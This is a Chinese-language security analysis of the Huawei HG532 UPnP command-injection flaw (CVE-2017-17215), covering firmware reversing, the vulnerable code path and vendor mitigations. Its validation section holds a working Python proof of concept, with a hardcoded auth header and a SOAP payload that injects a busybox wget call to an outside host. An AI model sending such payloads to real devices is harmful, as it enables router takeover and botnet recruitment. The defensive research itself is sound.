Huawei HG532 系列路由器远程命令执行漏洞分析

作者:fenix@知道创宇404实验室

发表时间:2017年12月28日

English version: https://paper.seebug.org/508/

背景

华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。

2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】

该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。

2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。

漏洞分析

固件下载

网上有 HG532e 版本的公开固件,下载地址【2】

下载该固件,利用 binwalk 直接解压。

目标系统是 MIPS 32 位 大端架构。

漏洞分析

根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。

UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。

直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。

通过字符串 NewStatusURL 对漏洞点进行定位。

跟踪数据交叉引用

漏洞点如下

ATP_XML_GetChildNodeByName 函数的定义如下。

程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。

snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)

system($s0)

upg 是路由器的一个升级程序,他的参数功能如下。

现在我们有两个命令注入点,NewDownloadURLNewStatusURL

漏洞验证

目标系统提供了以下命令。

利用 wget 命令进行漏洞测试。发送以下报文。

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到,我们成功在监听的端口上收到了请求。

值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。

在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。

防护方案

2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。

公告中提到了以下漏洞缓解措施

  • 配置路由器内置的防火墙
  • 更改路由器默认密码
  • 在路由器外部署防火墙

是的,没找到固件升级包,所以,没有补丁分析...

总结

  1. 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
  2. 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
  3. 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。

参考链接

【1】 Check Point 漏洞报告

https://research.checkpoint.com/good-zero-day-skiddie/

【2】 HG532e 固件下载

https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

【3】 爱尔兰宽带路由器 SetNTPServers 命令注入

https://www.seebug.org/vuldb/ssvid-97024

【4】 华为安全公告

http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

走近科学:Android系统ROOT后有多脆弱?

不知道现在有多大比例的安卓(Android)手机进行了ROOT,粗略估计不少于20%,但或许我们只感受到了ROOT后的便利,却忽视了ROOT所带来的极大风险。最...

1829
来自专栏FreeBuf

漏洞预警:Google安全研究人员发现NTP(网络时间协议)最新漏洞

Google安全研究人员最近发现,NTP协议(网络时间协议)出现了一些新的严重漏洞,NTP 4.2.8之前的版本均受影响,黑客可以利用这些漏洞展开远程攻击。 N...

19610
来自专栏FreeBuf

新勒索软件“Defray”可通过Microsoft Word文档传播

? 我们最初观察到该勒索病毒的命令和控制(C&C)服务器主机名为:“defrayable-listings[.]000webhostapp[.]com”。因此...

3407
来自专栏FreeBuf

RSA2018 | 通过iOS Trustjacking漏洞远程渗透iPhone

赛门铁克研究人员发现了一个iPhone与Mac工作站和笔记本电脑配对的漏洞。他们表示,攻击者可以利用这个被称为Trustjacking的漏洞,在没有信息情况下接...

1423
来自专栏FreeBuf

一款新的基于Tor的恶意软件 – ChewBacca

与金融木马有关的网络犯罪近几个月日益攀升。而基于Tor的木马仍是网络罪犯们的最爱,这种木马能够隐藏他们的肉鸡,还能隐藏他们的指挥与控制(Command ...

1877
来自专栏菜鸟程序员

多家反病毒软件存在AVGater问题,恶意软件反可利用隔离区提权

1834
来自专栏安恒信息

安恒信息APT产品监控到持续性有组织的 “基于破壳漏洞的跨平台攻击”

日前,安恒信息在某政府机构网络中部署的APT产品监控到了多次“CVE-2014-6271 bash远程命令执行漏洞”告警,攻击源来自意大利、台北、奥地利、挪威、...

3527
来自专栏FreeBuf

卡巴斯基2017年企业信息系统的安全评估报告

卡巴斯基实验室的安全服务部门每年都会为全球的企业开展数十个网络安全评估项目。在本文中,我们提供了卡巴斯基实验室2017年开展的企业信息系统网络安全评估的总体概述...

923
来自专栏Seebug漏洞平台

Huawei HG532 系列路由器远程命令执行漏洞分析

作者:fenix@知道创宇404实验室 背 景 华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。 2017/11/27,Ch...

34210
来自专栏FreeBuf

揭秘:针对PoS机的恶意软件工具箱

最近两年,PoS恶意软件由于塔吉特、家得宝、Kmart遭遇的POS机攻击而被广泛关注。随着“黑色星期五”购物季的到来,PoS机恶意软件必定会受到关注。 PoS攻...

1757

扫码关注云+社区